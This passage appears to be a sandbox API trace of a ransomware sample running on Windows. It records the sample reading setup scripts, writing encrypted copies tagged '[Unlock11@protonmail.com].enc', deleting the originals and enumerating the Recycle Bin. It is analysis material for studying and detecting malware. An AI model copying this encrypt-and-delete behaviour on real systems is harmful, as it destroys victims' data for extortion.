lpSystemTime=0x9bb4e0) returned 1 [0112.894] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.894] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.894] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.894] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.895] GetLastError () returned 0x0 [0112.895] GetCurrentThreadId () returned 0x9b0 [0112.895] GetLastError () returned 0x0 [0112.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0112.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0112.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0112.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.895] GetLastError () returned 0x0 [0112.895] GetLastError () returned 0x0 [0112.895] GetCurrentThreadId () returned 0x9b0 [0112.895] GetLastError () returned 0x0 [0112.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0112.896] GetLastError () returned 0x0 [0112.896] GetLastError () returned 0x0 [0112.896] GetCurrentThreadId () returned 0x9b0 [0112.896] GetLastError () returned 0x0 [0112.896] GetLastError () returned 0x0 [0112.897] GetLastError () returned 0x0 [0112.897] GetCurrentThreadId () returned 0x9b0 [0112.897] GetLastError () returned 0x0 [0112.897] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x5f) returned 0x35c5908 [0112.897] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x65) returned 0x35c5908 [0112.897] GetCurrentThreadId () returned 0x9b0 [0112.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de668 [0112.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0112.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x68) returned 0x2a19b98 [0112.898] GetLastError () returned 0x0 [0112.898] GetLastError () returned 0x0 [0112.898] GetLastError () returned 0x0 [0112.898] GetLastError () returned 0x0 [0112.898] GetCurrentThreadId () returned 0x9b0 [0112.898] GetLastError () returned 0x0 [0112.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0112.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0112.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0112.898] GetLastError () returned 0x0 [0112.898] GetLastError () returned 0x0 [0112.898] GetCurrentThreadId () returned 0x9b0 [0112.898] GetLastError () returned 0x0 [0112.899] GetLastError () returned 0x0 [0112.899] GetLastError () returned 0x0 [0112.899] GetCurrentThreadId () returned 0x9b0 [0112.899] GetLastError () returned 0x0 [0112.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5978 | out: hHeap=0x2ad0000) returned 1 [0112.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0112.899] GetLastError () returned 0x0 [0112.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0112.900] CloseHandle (hObject=0x3ac) returned 1 [0112.900] GetLastError () returned 0x0 [0112.900] GetCurrentThreadId () returned 0x9b0 [0112.900] GetLastError () returned 0x0 [0112.900] GetLastError () returned 0x0 [0112.900] CloseHandle (hObject=0x39c) returned 1 [0112.901] GetLastError () returned 0x0 [0112.901] GetCurrentThreadId () returned 0x9b0 [0112.901] GetLastError () returned 0x0 [0112.901] GetLastError () returned 0x0 [0112.901] GetLastError () returned 0x0 [0112.901] GetLastError () returned 0x0 [0112.901] GetLastError () returned 0x0 [0112.901] DeleteFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0112.902] GetLastError () returned 0x0 [0112.902] GetCurrentThreadId () returned 0x9b0 [0112.902] GetLastError () returned 0x0 [0112.902] GetCurrentThreadId () returned 0x9b0 [0112.902] GetLastError () returned 0x0 [0112.902] GetLastError () returned 0x0 [0112.903] GetLastError () returned 0x0 [0112.903] GetLastError () returned 0x0 [0112.903] GetFullPathNameA (in: lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd", lpFilePart=0x9bada4*="SetupComplete.cmd") returned 0x27 [0112.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0112.903] GetCurrentThreadId () returned 0x9b0 [0112.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0112.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0112.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0112.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1f920 [0112.903] GetLastError () returned 0x0 [0112.903] GetLastError () returned 0x0 [0112.903] GetLastError () returned 0x0 [0112.904] GetLastError () returned 0x0 [0112.904] GetCurrentThreadId () returned 0x9b0 [0112.904] GetLastError () returned 0x0 [0112.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0112.904] GetCurrentThreadId () returned 0x9b0 [0112.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1f920 [0112.904] GetLastError () returned 0x0 [0112.904] GetLastError () returned 0x0 [0112.904] GetLastError () returned 0x0 [0112.904] GetLastError () returned 0x0 [0112.904] GetCurrentThreadId () returned 0x9b0 [0112.904] GetLastError () returned 0x0 [0112.905] GetLastError () returned 0x0 [0112.905] GetLastError () returned 0x0 [0112.905] GetLastError () returned 0x0 [0112.905] GetLastError () returned 0x0 [0112.905] GetCurrentThreadId () returned 0x9b0 [0112.905] GetLastError () returned 0x0 [0112.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0112.905] GetLastError () returned 0x0 [0112.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0112.905] GetLastError () returned 0x0 [0112.905] GetLastError () returned 0x0 [0112.905] GetLastError () returned 0x0 [0112.906] GetCurrentThreadId () returned 0x9b0 [0112.906] GetLastError () returned 0x0 [0112.906] GetCurrentThreadId () returned 0x9b0 [0112.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a8a8 [0112.906] GetLastError () returned 0x0 [0112.906] GetLastError () returned 0x0 [0112.906] GetLastError () returned 0x0 [0112.906] GetLastError () returned 0x0 [0112.906] GetCurrentThreadId () returned 0x9b0 [0112.906] GetLastError () returned 0x0 [0112.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0112.907] GetLastError () returned 0x0 [0112.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0112.907] GetCurrentThreadId () returned 0x9b0 [0112.907] GetFileAttributesExA (in: lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133)) returned 1 [0112.907] GetCurrentThreadId () returned 0x9b0 [0112.907] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662994 | out: pbBuffer=0x3662994) returned 1 [0112.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0112.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0112.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0112.907] GetCurrentThreadId () returned 0x9b0 [0112.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1f920 [0112.908] GetCurrentThreadId () returned 0x9b0 [0112.908] GetCurrentThreadId () returned 0x9b0 [0112.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1f920 [0112.908] GetCurrentThreadId () returned 0x9b0 [0112.908] CreateFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0112.908] GetFileType (hFile=0x39c) returned 0x1 [0112.908] GetCurrentThreadId () returned 0x9b0 [0112.908] GetFileType (hFile=0x39c) returned 0x1 [0112.909] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.909] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.909] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.909] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.909] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.909] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.909] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.909] GetLastError () returned 0x0 [0112.909] GetCurrentThreadId () returned 0x9b0 [0112.909] GetLastError () returned 0x0 [0112.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0112.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0112.909] GetLastError () returned 0x0 [0112.909] GetLastError () returned 0x0 [0112.910] GetLastError () returned 0x0 [0112.910] GetLastError () returned 0x0 [0112.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0112.910] GetLastError () returned 0x0 [0112.910] CreateFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.[Unlock11@protonmail.com].enc" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0112.910] GetFileType (hFile=0x3ac) returned 0x1 [0112.910] GetLastError () returned 0x0 [0112.910] GetCurrentThreadId () returned 0x9b0 [0112.911] GetLastError () returned 0x0 [0112.911] GetFileType (hFile=0x3ac) returned 0x1 [0112.911] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.911] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.911] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.911] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.911] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.911] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.911] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.911] GetLastError () returned 0x0 [0112.911] GetCurrentThreadId () returned 0x9b0 [0112.911] GetLastError () returned 0x0 [0112.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0112.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0112.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0112.912] GetLastError () returned 0x0 [0112.912] GetLastError () returned 0x0 [0112.912] GetCurrentThreadId () returned 0x9b0 [0112.912] GetLastError () returned 0x0 [0112.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0112.912] GetLastError () returned 0x0 [0112.912] GetLastError () returned 0x0 [0112.912] GetCurrentThreadId () returned 0x9b0 [0112.912] GetLastError () returned 0x0 [0112.912] GetCurrentThreadId () returned 0x9b0 [0112.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0112.913] GetLastError () returned 0x0 [0112.914] GetLastError () returned 0x0 [0112.914] GetCurrentThreadId () returned 0x9b0 [0112.914] GetLastError () returned 0x0 [0112.914] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x148) returned 0x35c5908 [0112.914] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x155) returned 0x35c5908 [0112.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de628 [0112.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x158) returned 0x382e230 [0112.914] GetLastError () returned 0x0 [0112.914] GetLastError () returned 0x0 [0112.914] GetLastError () returned 0x0 [0112.914] GetLastError () returned 0x0 [0112.915] GetCurrentThreadId () returned 0x9b0 [0112.915] GetLastError () returned 0x0 [0112.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382e230 | out: hHeap=0x2ad0000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.915] GetLastError () returned 0x0 [0112.915] GetLastError () returned 0x0 [0112.915] GetCurrentThreadId () returned 0x9b0 [0112.915] GetLastError () returned 0x0 [0112.915] GetLastError () returned 0x0 [0112.915] GetLastError () returned 0x0 [0112.915] GetCurrentThreadId () returned 0x9b0 [0112.915] GetLastError () returned 0x0 [0112.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5a68 | out: hHeap=0x2ad0000) returned 1 [0112.916] GetCurrentThreadId () returned 0x9b0 [0112.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0112.916] GetLastError () returned 0x0 [0112.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0112.917] CloseHandle (hObject=0x3ac) returned 1 [0112.917] GetLastError () returned 0x0 [0112.917] GetCurrentThreadId () returned 0x9b0 [0112.917] GetLastError () returned 0x0 [0112.917] GetLastError () returned 0x0 [0112.917] CloseHandle (hObject=0x39c) returned 1 [0112.918] GetLastError () returned 0x0 [0112.918] GetCurrentThreadId () returned 0x9b0 [0112.918] GetLastError () returned 0x0 [0112.918] GetLastError () returned 0x0 [0112.918] GetLastError () returned 0x0 [0112.918] GetLastError () returned 0x0 [0112.918] GetLastError () returned 0x0 [0112.918] DeleteFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0112.919] GetLastError () returned 0x0 [0112.919] GetCurrentThreadId () returned 0x9b0 [0112.919] GetLastError () returned 0x0 [0112.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0112.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0112.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0112.919] GetLastError () returned 0x0 [0112.920] GetLastError () returned 0x0 [0112.920] GetLastError () returned 0x0 [0112.920] GetLastError () returned 0x0 [0112.920] FindFirstFileA (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0112.920] GetLastError () returned 0x0 [0112.920] GetCurrentThreadId () returned 0x9b0 [0112.920] GetLastError () returned 0x0 [0112.920] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0112.920] GetLastError () returned 0x0 [0112.920] GetCurrentThreadId () returned 0x9b0 [0112.920] GetLastError () returned 0x0 [0112.921] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0112.921] GetLastError () returned 0x0 [0112.921] GetCurrentThreadId () returned 0x9b0 [0112.921] GetLastError () returned 0x0 [0112.921] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0112.921] GetLastError () returned 0x0 [0112.921] GetCurrentThreadId () returned 0x9b0 [0112.921] GetLastError () returned 0x0 [0112.921] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0112.921] GetLastError () returned 0x12 [0112.921] GetCurrentThreadId () returned 0x9b0 [0112.921] GetLastError () returned 0x12 [0112.921] GetLastError () returned 0x12 [0112.921] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0112.922] GetCurrentThreadId () returned 0x9b0 [0112.922] GetLastError () returned 0x12 [0112.922] GetLastError () returned 0x12 [0112.922] GetLastError () returned 0x12 [0112.922] GetLastError () returned 0x12 [0112.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0112.922] GetFileAttributesA (lpFileName="C:\\$Recycle.Bin\\S-1-5-18" (normalized: "c:\\$recycle.bin\\s-1-5-18")) returned 0x16 [0112.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0112.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0112.923] GetCurrentThreadId () returned 0x9b0 [0112.923] GetLastError () returned 0x12 [0112.923] GetLastError () returned 0x12 [0112.923] GetLastError () returned 0x12 [0112.923] GetLastError () returned 0x12 [0112.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0112.923] GetFileAttributesA (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000")) returned 0x16 [0112.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0112.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.923] GetLastError () returned 0x12 [0112.924] GetLastError () returned 0x12 [0112.924] GetLastError () returned 0x12 [0112.924] GetLastError () returned 0x12 [0112.924] FindFirstFileA (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0112.924] GetLastError () returned 0x12 [0112.924] GetCurrentThreadId () returned 0x9b0 [0112.924] GetLastError () returned 0x12 [0112.924] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0112.925] GetLastError () returned 0x12 [0112.925] GetCurrentThreadId () returned 0x9b0 [0112.925] GetLastError () returned 0x12 [0112.925] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.925] GetLastError () returned 0x12 [0112.925] GetCurrentThreadId () returned 0x9b0 [0112.925] GetLastError () returned 0x12 [0112.925] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0112.925] GetLastError () returned 0x12 [0112.925] GetCurrentThreadId () returned 0x9b0 [0112.925] GetLastError () returned 0x12 [0112.926] GetLastError () returned 0x12 [0112.926] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0112.926] GetCurrentThreadId () returned 0x9b0 [0112.926] GetLastError () returned 0x12 [0112.926] GetLastError () returned 0x12 [0112.926] GetLastError () returned 0x12 [0112.926] GetLastError () returned 0x12 [0112.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0112.926] GetFileAttributesA (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0112.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0112.927] GetLastError () returned 0x12 [0112.927] GetLastError () returned 0x12 [0112.927] GetLastError () returned 0x12 [0112.927] GetLastError () returned 0x12 [0112.927] GetFullPathNameA (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini", lpFilePart=0x9bada4*="desktop.ini") returned 0x24 [0112.927] GetCurrentThreadId () returned 0x9b0 [0112.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 